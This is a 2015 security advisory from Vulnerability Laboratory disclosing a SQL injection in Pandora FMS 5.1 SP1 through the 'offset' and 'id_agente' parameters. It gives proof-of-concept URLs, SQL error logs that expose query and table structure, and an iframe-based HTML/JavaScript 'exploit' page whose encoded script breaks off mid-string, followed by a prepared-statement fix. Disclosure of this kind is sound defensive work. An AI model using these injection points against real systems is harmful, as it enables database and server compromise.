Document Title:
===============
Pandora FMS v5.1 SP1 - SQL Injection Web Vulnerability


References (Source):
====================
http://vulnerability-lab.com/get_content.php?id=1355


Release Date:
=============
2015-02-09


Vulnerability Laboratory ID (VL-ID):
====================================
1355


Common Vulnerability Scoring System:
====================================
6.3


Product & Service Introduction:
===============================
Pandora FMS is a monitoring Open Source software. It watches your systems and applications, and allows you to 
know the status of any element of those systems. Pandora FMS could detect a network interface down, a defacement 
in your website, a memory leak in one of your server application, or the movement of any value of the NASDAQ 
new technology market. 

    * Detect new systems in network.
    * Checks for availability or performance.
    * Raise alerts when something goes wrong.
    * Allow to get data inside systems with its own lite agents (for almost every Operating System).
    * Allow to get data from outside, using only network probes. Including SNMP.


    * Get SNMP Traps from generic network devices. 
    * Generate real time reports and graphics.
    * SLA reporting.
    * User defined graphical views.
    * Store data for months, ready to be used on reporting.
    * Real time graphs for every module. 
    * High availability for each component.
    * Scalable and modular architecture.
    * Supports up to 2500 modules per server.
    * User defined alerts. Also could be used to react on incidents.
    * Integrated incident manager.
    * Integrated DB management: purge and DB compaction. 
    * Multiuser, multi profile, multi group.
    * Event system with user validation for operation in teams.
    * Granularity of accesses and user profiles for each group and each user.
    * Profiles could be personalized using up to eight security attributes without limitation on groups or profiles. 

Pandora FMS runs on any operating system, with specific agents for each platform, gathering data and sending it to a 
server, it has specific agents for GNU/Linux, AIX, Solaris, HP-UX, BSD/IPSO, and Windows 2000, XP and 2003.

(Copy of the Vendor Homepage: http://pandorafms.org/index.php?sec=project&sec2=home&lang=en)


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a SQL Injection web vulnerability in the official Pandora FMS monitoring web-application.


Vulnerability Disclosure Timeline:
==================================
2015-02-09:  Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Artica Sulociones Tecnologicas
Product: Pandora FMS - Monitoring Web Application 5.1 SP1


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A remote sql injection web vulnerability has been discovered in the official Pandora FMS v5.1 SP1 monitoring web-application.
The vulnerability allows remote attackers and low privileged application user accounts to unauthorized execute sql commands 
that compromise the affected monitoring web-application and dbms.

The vulnerability is located in the offset value of the index list context module. Remote attackers and low privileged application 
user accounts are able to execute own sql commands via GET method request. The attacker can prepare a request through the `agentes` 
module to inject own sql commands on the affected web-application dbms.

The security risk of the sql injection vulnerability is estimated as critical with a cvss (common vulnerability scoring system) count of 6.3.
Exploitation of the remote sql injection web vulnerability requires no user interaction and a low privileged web-application user account.
Successful exploitation of the remote sql injection results in dbms, web-server and web-application compromise.

Request Method(s):
        [+] GET

Vulnerable Module(s):
        [+] agentes
        [+] agents_modules

Vulnerable Parameter(s):
        [+] offset


Proof of Concept (PoC):
=======================
The sql injection web vulnerabilities can be exploited by local low privileged application user accounts in godmode without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC:
http://fms.localhost:8080/pandora/index.php?sec=estado&sec2=operation/agentes/estado_agente&refr=60&group_id=0&search=&sort_field=&sort=none&status=0&offset=-1%27-[SQL INJECTION VULNERABILITY!]'--
http://fms.localhost:8080/pandora/index.php?sec=estado&sec2=operation/agentes/ver_agente&tab=gis&id_agente=349&refr=&period=2592000&refresh=Refresh%20path&offset=-1%27-[SQL INJECTION VULNERABILITY!]'--
http://fms.localhost:8080/pandora/index.php?sec=estado&sec2=operation/agentes/estado_agente&group_id=0&search=&sort_field=&sort=none&status=-1&offset=-[SQL INJECTION VULNERABILITY!]'--&refr=60
http://fms.localhost:8080/pandora/index.php?&sec=estado&sec2=operation/agentes/ver_agente&tab=gis&id_agente=349&refr=&period=-[SQL INJECTION VULNERABILITY!]'--&refresh=&offset=-[SQL INJECTION VULNERABILITY!]'--
http://fms.localhost:8080/pandora/index.php?sec=estado&sec2=operation/agentes/ver_agente&id_agente=4-1%27-[SQL INJECTION VULNERABILITY!]'--
http://fms.localhost:8080/pandora/index.php?sec=estado&sec2=operation/agentes/ver_agente&id_agente=-1%27-[SQL INJECTION VULNERABILITY!]'--
http://fms.localhost:8080/pandora/index.php?extension_in_menu=estado&sec=extensions&sec2=extensions/agents_modules&refr=&offset=-1%27-[SQL INJECTION VULNERABILITY!]'--


--- SQL Error Session Logs ---
SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ORDER BY nombre' at line 1 ('SELECT id_agente_modulo,nombre FROM tagente_modulo WHERE ( 1 = ( SELECT is_admin FROM tusuario WHERE id_user = 'webuser' ) OR tagente_modulo.id_agente IN ( SELECT id_agente FROM tagente WHERE id_grupo IN ( 13 ) ) OR 0 IN ( SELECT id_grupo FROM tusuario_perfil WHERE id_usuario = 'webuser' AND id_perfil IN ( SELECT id_perfil FROM tperfil WHERE agent_view = 1 ) ) ) AND id_agente IN (-1') AND delete_pending = 0 AND delete_pending = "0" ORDER BY nombre') in /var/www/html/pandora/include/db/mysql.php
-
SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ORDER BY nombre' at line 28 ('SELECT id_agente_modulo,nombre FROM tagente_modulo WHERE ( 1 = ( SELECT is_admin FROM tusuario WHERE id_user = 'webuser' ) OR tagente_modulo.id_agente IN ( SELECT id_agente FROM tagente WHERE id_grupo IN ( 13 ) ) OR 0 IN ( SELECT id_grupo FROM tusuario_perfil WHERE id_usuario = 'webuser' AND id_perfil IN ( SELECT id_perfil FROM tperfil WHERE agent_view = 1 ) ) ) AND id_agente IN (-1') AND delete_pending = 0 AND delete_pending = "0" ORDER BY nombre') in /var/www/html/pandora/include/db/mysql.php
-
SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-1, 20' at line 3 ('SELECT id_agente,id_grupo,id_os,ultimo_contacto,intervalo,comentarios description,quiet,normal_count,warning_count,critical_count,unknown_count,notinit_count,total_count,fired_count FROM tagente WHERE `id_grupo` IN ("13") AND `disabled` = 0 AND 1 = 1 AND ( 1 = 1) ORDER BY nombre COLLATE utf8_general_ci ASC, nombre COLLATE utf8_general_ci LIMIT -1, 20 ') in /var/www/html/pandora/include/db/mysql.php on line 74
-
SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-1, 20' at line 3 ('SELECT id_agente,id_grupo,id_os,ultimo_contacto,intervalo,comentarios description,quiet,normal_count,warning_count,critical_count,unknown_count,notinit_count,total_count,fired_count FROM tagente WHERE `id_grupo` IN ("13") AND `disabled` = 0 AND 1 = 1 AND ( 1 = 1) ORDER BY nombre COLLATE utf8_general_ci ASC, nombre COLLATE utf8_general_ci LIMIT -1, 20 ') in /var/www/html/pandora/include/db/mysql.php on line 74
-
SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ORDER BY utimestamp DESC LIMIT 10' at line 4 ('SELECT * FROM tevento WHERE id_agente = -1' AND estado <> 1 ORDER BY utimestamp DESC LIMIT 10') in /var/www/html/pandora/include/db/mysql.php on line 74
-
SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 ('SELECT notinit_count FROM tagente WHERE id_agente = -1'') in /var/www/html/pandora/include/db/mysql.php


PoC: Exploit (html & js)

<html>
<head><body>
<title>Pandora FMS - SQL Injection Exploit</title>
<iframe src=http://fms.localhost:8080/pandora/index.php?sec=estado&sec2=operation/agentes/estado_agente&refr=60&group_id=0&search=&sort_field=&sort=none&status=0&offset=-1%27-[SQL INJECTION VULNERABILITY!]'-->
<iframe src=http://fms.localhost:8080/pandora/index.php?sec=estado&sec2=operation/agentes/ver_agente&tab=gis&id_agente=349&refr=&period=2592000&refresh=Refresh%20path&offset=-1%27-[SQL INJECTION VULNERABILITY!]'-->
<iframe src=http://fms.localhost:8080/pandora/index.php?sec=estado&sec2=operation/agentes/estado_agente&group_id=0&search=&sort_field=&sort=none&status=-1&offset=-[SQL INJECTION VULNERABILITY!]'--&refr=60>
<iframe src=http://fms.localhost:8080/pandora/index.php?&sec=estado&sec2=operation/agentes/ver_agente&tab=gis&id_agente=349&refr=&period=-[SQL INJECTION VULNERABILITY!]'--&refresh=&offset=-[SQL INJECTION VULNERABILITY!]'-->
<iframe src=http://fms.localhost:8080/pandora/index.php?sec=estado&sec2=operation/agentes/ver_agente&id_agente=4-1%27-[SQL INJECTION VULNERABILITY!]'-->
<iframe src=http://fms.localhost:8080/pandora/index.php?sec=estado&sec2=operation/agentes/ver_agente&id_agente=-1%27-[SQL INJECTION VULNERABILITY!]'-->
<iframe src=http://fms.localhost:8080/pandora/index.php?extension_in_menu=estado&sec=extensions&sec2=extensions/agents_modules&refr=&offset=-1%27-[SQL INJECTION VULNERABILITY!]'-->
</head></body>
</html>

... or

<script language=JavaScript>m='%3Chtml%3E%0A%3Chead%3E%3Cbody%3E%0A%3Ctitle%3EPandora%20FMS%20-%20SQL%20Injection%20Exploit%3C/title%3E%0A%3Ciframe%20src%3D
http%3A//fms.localhost%3A8080/pandora/index.php%3Fsec%3Destado%26sec2%3Doperation/agentes/estado_agente%26refr%3D60%26group_id%3D0%26search%3D%26sort_field%3D
%26sort%3Dnone%26status%3D0%26offset%3D-1%2527-%5BSQL%20INJECTION%20VULNERABILITY%21%5D%27--%3E%0A%3Ciframe%20src%3Dhttp%3A//fms.localhost%3A8080/pandora/index.php%3F
sec%3Destado%26sec2%3Doperation/agentes/ver_agente%26tab%3Dgis%26id_agente%3D349%26refr%3D%26period%3D2592000%26refresh%3DRefresh%2520path%26offset%3D-1%2527-%5B
SQL%20INJECTION%20VULNERABILITY%21%5D%27--%3E%0A%3Ciframe%20src%3Dhttp%3A//fms.localhost%3A8080/pandora/index.php%3Fsec%3Destado%26sec2%3Doperation/agentes/estado_agente%26
group_id%3D0%26search%3D%26sort_field%3D%26sort%3Dnone%26status%3D-1%26offset%3D-%5BSQL%20INJECTION%20VULNERABILITY%21%5D%27--%26refr%3D60%3E%0A%3Ciframe%20src%3Dhttp%3A
//fms.localhost%3A8080/pandora/index.php%3F%26sec%3Destado%26sec2%3Doperation/agentes/ver_agente%26tab%3Dgis%26id_agente%3D349%26refr%3D%26period%3D-%5BSQL%20INJECTION%20
VULNERABILITY%21%5D%27--%26refresh%3D%26offset%3D-%5BSQL%20INJECTION%20VULNERABILITY%21%5D%27--%3E%0A%3Ciframe%20src%3Dhttp%3A//fms.localhost%3A8080/pandora/index.php%3F
sec%3Destado%26sec2%3Doperation/agentes


Reference(s):
http://fms.localhost:8080/pandora/index.php
http://fms.localhost:8080/pandora/include/db/mysql.php


Solution - Fix & Patch:
=======================
The issue can be patched by implementation of a prepared statement thats prevents the execution of sql commands through the weak values.
Encode and parse the vulnerable `offset` value in  all the marked moduzles to prevent further executions or information disclosure.


Security Risk:
==============
The security risk of the remote sql injection vulnerabilitiy in the pandora fms application is estimated as high. (CVSS 6.3)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


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=========================
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